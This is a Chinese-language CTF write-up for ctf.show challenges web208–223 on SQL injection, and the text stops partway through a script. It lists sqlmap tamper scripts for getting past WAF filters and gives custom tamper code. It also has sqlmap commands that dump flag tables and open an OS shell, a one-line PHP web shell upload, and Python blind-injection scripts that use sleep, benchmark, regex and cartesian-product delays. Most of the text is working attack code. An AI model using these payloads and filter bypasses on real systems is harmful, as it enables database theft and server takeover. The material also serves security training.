greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号

space2hash.py 空格替换为#号 随机字符串 以及换行符

space2comment.py 用/**/代替空格

apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号

halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤

space2mssqlblank.py mssql空格替换为其它空符号

base64encode.py 用base64编码

space2mssqlhash.py mssql查询中替换空格

modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释

space2mysqlblank.py mysql中空格替换其它空白符号

between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)

space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py 围绕SQL关键字添加多个空格

space2plus.py 用+替换空格

bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代

space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾

chardoubleencode.py 双url编码(不处理以编码的)

unionalltounion.py 替换UNION ALL SELECT UNION SELECT

charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;

randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写

unmagicquotes.py 宽字符绕过 GPC addslashes

randomcomments.py 用/**/分割sql关键字

charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码

securesphere.py 追加特制的字符串

versionedmorekeywords.py MySQL >= 5.1.13注释绕过

halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释
1
sqlmap.py -u "http://a83c7e70-64d2-4dab-9232-8c5080415bd1.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://a83c7e70-64d2-4dab-9232-8c5080415bd1.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flaxca --dump

根据原本的space2comment仿写了一个,将注释换成了0x09

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
"""
Author:孤桜懶契
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("By孤桜懶契-空格替换制表符0x09")

def tamper(payload, **kwargs):
payload = space2comment(payload)
return payload

def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x09)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x09)
continue

retVal += payload[i]

return retVal

web208

1
2
3
4
5
//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}
  • 只过滤了小写的select,sqlmap自己就会跑大写的
1
sqlmap.py -u "http://90811f8e-b2c5-4181-ac8a-2752c4d91c40.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://90811f8e-b2c5-4181-ac8a-2752c4d91c40.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flaxcac --dump

web209

1
2
3
4
5
//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}

多过滤了*号和=号,我们在上面的脚本多加一个匹配=号换like

1
sqlmap.py -u "http://e83f1efc-354e-42c0-8c2e-ca9eafd2f81d.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://e83f1efc-354e-42c0-8c2e-ca9eafd2f81d.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment  -D ctfshow_web -T ctfshow_flav --dump
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
"""
Author:孤桜懶契
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("By孤桜懶契-空格替换制表符0x09,=号换like")

def tamper(payload, **kwargs):
payload = space2comment(payload)
return payload

def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x09)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == '=':
retVal += chr(0x09) + 'like' + chr(0x09)
continue

elif payload[i] == "*":
retVal += chr(0x31)
continue

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x09)
continue

retVal += payload[i]

return retVal

web210

1
2
3
4
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
  • 先对字符串进行64解码,然后再反转字符,再套一层,我们写个相反就的行了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
"""
Author:孤桜懶契
"""

import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage


__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("By孤桜懶契-base编码两次-反转两次")

def tamper(payload, **kwargs):
payload = encode(payload)
return payload

def encode(payload):
retVal = payload

if payload:
retVal = retVal.replace(" ",chr(0x09))
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()

return retVal

payload

1
sqlmap.py -u "http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my

web211

  • 和上题一样,过滤了空格号,不影响,我上个代码中写了替换空格为0x09也就是制表符
1
sqlmap.py -u "http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my -D ctfshow_web -T ctfshow_flavia --dump

web212

  • 和上题一样过滤多加了个*不影响我们

payload

1
sqlmap.py -u "http://2b123cfd-31cd-465e-b7cb-1e1470122ae4.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://2b123cfd-31cd-465e-b7cb-1e1470122ae4.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my  -T ctfshow_web -T  ctfshow_flavis --dump

web213

  • 这题需要getshell,因为过滤的和上题一样,就用我那个过滤脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
"""
Author:孤桜懶契
"""

import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage


__priority__ = PRIORITY.LOW

def dependencies():
singleTimeWarnMessage("By孤桜懶契-base编码两次-反转两次")

def tamper(payload, **kwargs):
payload = encode(payload)
return payload

def encode(payload):
retVal = payload

if payload:
retVal = retVal.replace(" ",chr(0x09))
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()

return retVal

然后接着我们进行getshell上传一个上传点

1
http://6309ef18-4721-4f5c-919d-bf47c71c749e.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6309ef18-4721-4f5c-919d-bf47c71c749e.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my --os-shell

image-20210731164027857

上传一句话木马,蚁剑连接

image-20210731164139622

在根目录下有flag

image-20210731164205840

web214

  • 时间盲注,直接脚本跑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time

url = "http://5eb465ee-6eeb-4508-9fea-5496e3ad2a8f.challenge.ctf.show:8080/api/"
str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,,"
flag = ""

#payload = "if(substr(database(),{},1)='{}',sleep(3),0)"
#payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
#payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)"
payload = "if(substr((select group_concat(flaga) from ctfshow_flagx),{},1)='{}',sleep(5),0)"
n = 0

for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
print(end - start)
if end - start > 4.9 and end - start < 6.9:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210731173410636

web215

  • 题目提示说加了单引号,我们就闭合掉,改一下上面的代码,继续跑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time

url = "http://fed15780-e37b-48e2-8e96-86d984f46b94.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""

#查数据库payload = "1' or if(substr(database(),{},1)='{}',sleep(3),0) #"
#查表payload = "1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(3),0) #"
#查字段payload = "1' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',sleep(3),0) #"
payload = "1' or if(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1)='{}',sleep(3),0) #"
#payload = "if(substr((select group_concat(flaga) from ctfshow_flagx),{},1)='{}',sleep(5),0)"
n = 0

for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
if end - start > 2.9 and end - start < 4.9:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

web216

1
where id = from_base64($id);
  • 加了个base64解密,所以我们用“MQ==”–>1 所以就会算是true,这题没单引号,所以改一下上一题代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time

url = "http://83e21d02-6e3a-4c01-9016-79367bdcb966.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#'MQ==' or if(1=1,sleep(5),0)
#payload = "'MQ==' or if(substr(database(),{},1)='{}',sleep(5),0) "
#payload = "'MQ==' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0) "
#payload = "'MQ==' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcc'),{},1)='{}',sleep(5),0) "
payload = "'MQ==' or if(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1)='{}',sleep(5),0) "
n = 0

for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
if end - start > 4.9 and end - start < 6.9:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210731182828100

web217

1
2
3
4
//屏蔽危险分子
function waf($str){
return preg_match('/sleep/i',$str);
}
  • 过滤了sleep,可以换一个函数benchmark(6666666,sha(1))
1
2
benchmark(6666666,sha(1))
第一个参数指的是执行次数、第二参数指的是执行语句

将上一个payload改一下,跑一下就出来了,因为是执行次数来确定延时时间,所以也跟你家网速波动有关系,适当调试,我控制在一个1.4ms到4.9ms,应该能保证普通网速的,如果你网速超快,适当调整

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time

url = "http://fe186d5a-2385-43fd-8d4a-d557cc25b038.challenge.ctf.show:8080//api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1 or if(substr(database(),{},1)='{}',benchmark(6666666,sha(1)),0)

#payload = "1 or if(substr(database(),{},1)='{}',benchmark(6666666,sha(1)),0)"
#payload = "1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',benchmark(5000000,sha(1)),0) #"
#payload = "1) and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxccb'),{},1)='{}',benchmark(5000000,sha(1)),0) #"
payload = "1) and if(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1)='{}',benchmark(5000000,sha(1)),0) #"

n = 0

for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
# print(end-start)
if end - start > 1.4 and end - start < 4.9:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210731193548774

web218

  • 这题过滤了benchmark,不过还有RLIKE REGEXP正则匹配
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

正则语法:
. : 匹配任意单个字符
* : 匹配0个或多个前一个得到的字符
[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
^ : 匹配开头,如^s匹配以s或者S开头的字符串。
$ : 匹配结尾,如s$匹配以s结尾的字符串。
{n} : 匹配前一个字符反复n次。

RPAD(str,len,padstr)
用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。
mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'

repeat(str,times) 复制字符串times次

所以我们可以利用这个来进行构造延时函数

1
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

以上代码预估等于sleep(5)效果,具体根据网速和性能判断,利用此性质写将上面的代码更改一下,跑flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time
bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
url = "http://4f04cb91-f6ed-43ce-bc4d-539d9c5b2a7b.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#求表payload = "1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',({}),0)#"
payload = "1) and if(substr((select group_concat(flagaac) from ctfshow_flagxc),{},1)='{}',({}),0)#"


n = 0

for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j,bypass),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
if end - start > 0.4 and end - start < 1:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210731232314453

web219

1
2
3
4
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);
}
  • 这题吧RLIKE给禁了,我发现把RLIKE换成LIke一样可以,继续上把代码改一下,不过需要注意跟你家网速有关,网速好,一次flag就对,不好就多对比几下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time
bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) LIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
url = "http://ea12a2f3-655e-44f2-b249-a95701399f73.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#payload = "1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxca'),{},1)='{}',({}),0)#"
payload = "1) and if(substr((select group_concat(flagaabc) from ctfshow_flagxca),{},1)='{}',({}),0)#"


n = 0

for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j,bypass),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
print(end - start)
if end - start > 0.22 and end - start < 0.5:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break
#ctfshow{92286539-ff05-4292-bcbf-7ff6fa6e31ab}

image-20210731235226222

第二种思路,鉴于我发现我上面的方法,flag需要多跑几次,而且方法重样,所以想多写一个其他的绕过方法,笛卡尔积时间延时法

1
2
3
4
5
6
笛卡尔积(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的集合,就是连接表
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
select * from table_name A, table_name B
select * from table_name A, table_name B,table_name C
select count(*) from table_name A, table_name B,table_name C 表可以是同一张表

也就是换个bypass也而已,跑起来,这次成功率提高了很多,基本一次能跑成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time
bypass="select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e"
url = "http://ea12a2f3-655e-44f2-b249-a95701399f73.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#payload = "1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxca'),{},1)='{}',({}),0)#"
payload = "1) and if(substr((select group_concat(flagaabc) from ctfshow_flagxca),{},1)='{}',({}),0)#"


n = 0

for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j,bypass),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
print(end - start)
if end - start > 1.5 and end - start < 5:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break
#ctfshow{92286539-ff05-4292-bcbf-7ff6fa6e31ab}

image-20210801002919738

web220

  • 和布尔盲注一样,过滤substr,但是还有正则,或者left都可以,我们这里用正则写一个脚本,因为还过滤了concat所以不能用group_concat改用limit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time
bypass="select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e, information_schema.schemata f"
url = "http://d82b1a0b-aba4-4fed-aa83-62d59d7df4ee.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and if((database())regexp('^ctfshow'),(select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e, information_schema.schemata f),0)#
#payload = "1) and if((database())regexp('^{}'),({}),0)#"
#payload = "1) and if((select table_name from information_schema.tables where table_schema=database() limit 0,1)regexp('^{}'),({}),0)#"
#payload = "1) and if((select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcac' limit 1,1)regexp('^{}'),({}),0)#"
payload = "1) and if((select flagaabcc from ctfshow_flagxcac limit 0,1)regexp('^{}'),({}),0)#"



n = 0

for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(flag + j,bypass),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
if end - start > 3 and end - start < 5:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210801011111531

web221

  • 考点是:MySQL利用procedure analyse()函数优化表结构
    limit后面能跟的也只有这个了似乎
1
2
3
4
# http://196cf3fd-f920-4018-a714-662ad61571e9.chall.ctf.show/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)

可以参考
# https://www.jb51.net/article/99980.htm

web222

1
2
//分页查询
$sql = select * from ctfshow_user group by $username;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time

url = "http://9a446c1a-4acd-4873-a290-53b36046a7b9.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"


flag = ""
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
#查表
# sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段
# sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#查flag
sql= "select flagaabc from ctfshow_flaga"
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
payload = "concat(if(substr(({}),{},1)='{}',sleep(0.10),0),1)"

#concat(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(0.10),0),1)


n = 0

for i in range(0, 666):
for j in str:
params = {
'u' : payload.format(sql,i,j)
}

start = time.time()
res = requests.get(url = url, params = params)
end = time.time()
if end - start > 2 and end - start < 3:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210801082210482

web223

  • 这题多了个过滤,将数字全部过滤了,我们可以考虑用true来代替数字,所以这题我发现有两种方式一种是时间盲注(但是延时是20秒),另一种是布尔盲注,这把我们就用布尔速度快。看你喜好。

说一下原理,为什么使用布尔盲注,当if返回这true的时候,执行username就会group by username,数据就会多一些,但是当false就会当做字符串,数据就少一些,上两张图看看

image-20210801103638060

当if条件为false时,数据回显就少了,根据这个可以布尔盲注

image-20210801103725888

上脚本布尔,跑的快些,比时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
#import time

def generateNum(num):
res = 'true'
if num == 1:
return res
else:
for i in range(num-1):
res += "+true"
return res


url = "http://ce009cf2-8652-4737-ba07-b3bfc3bc3a4a.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""

#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
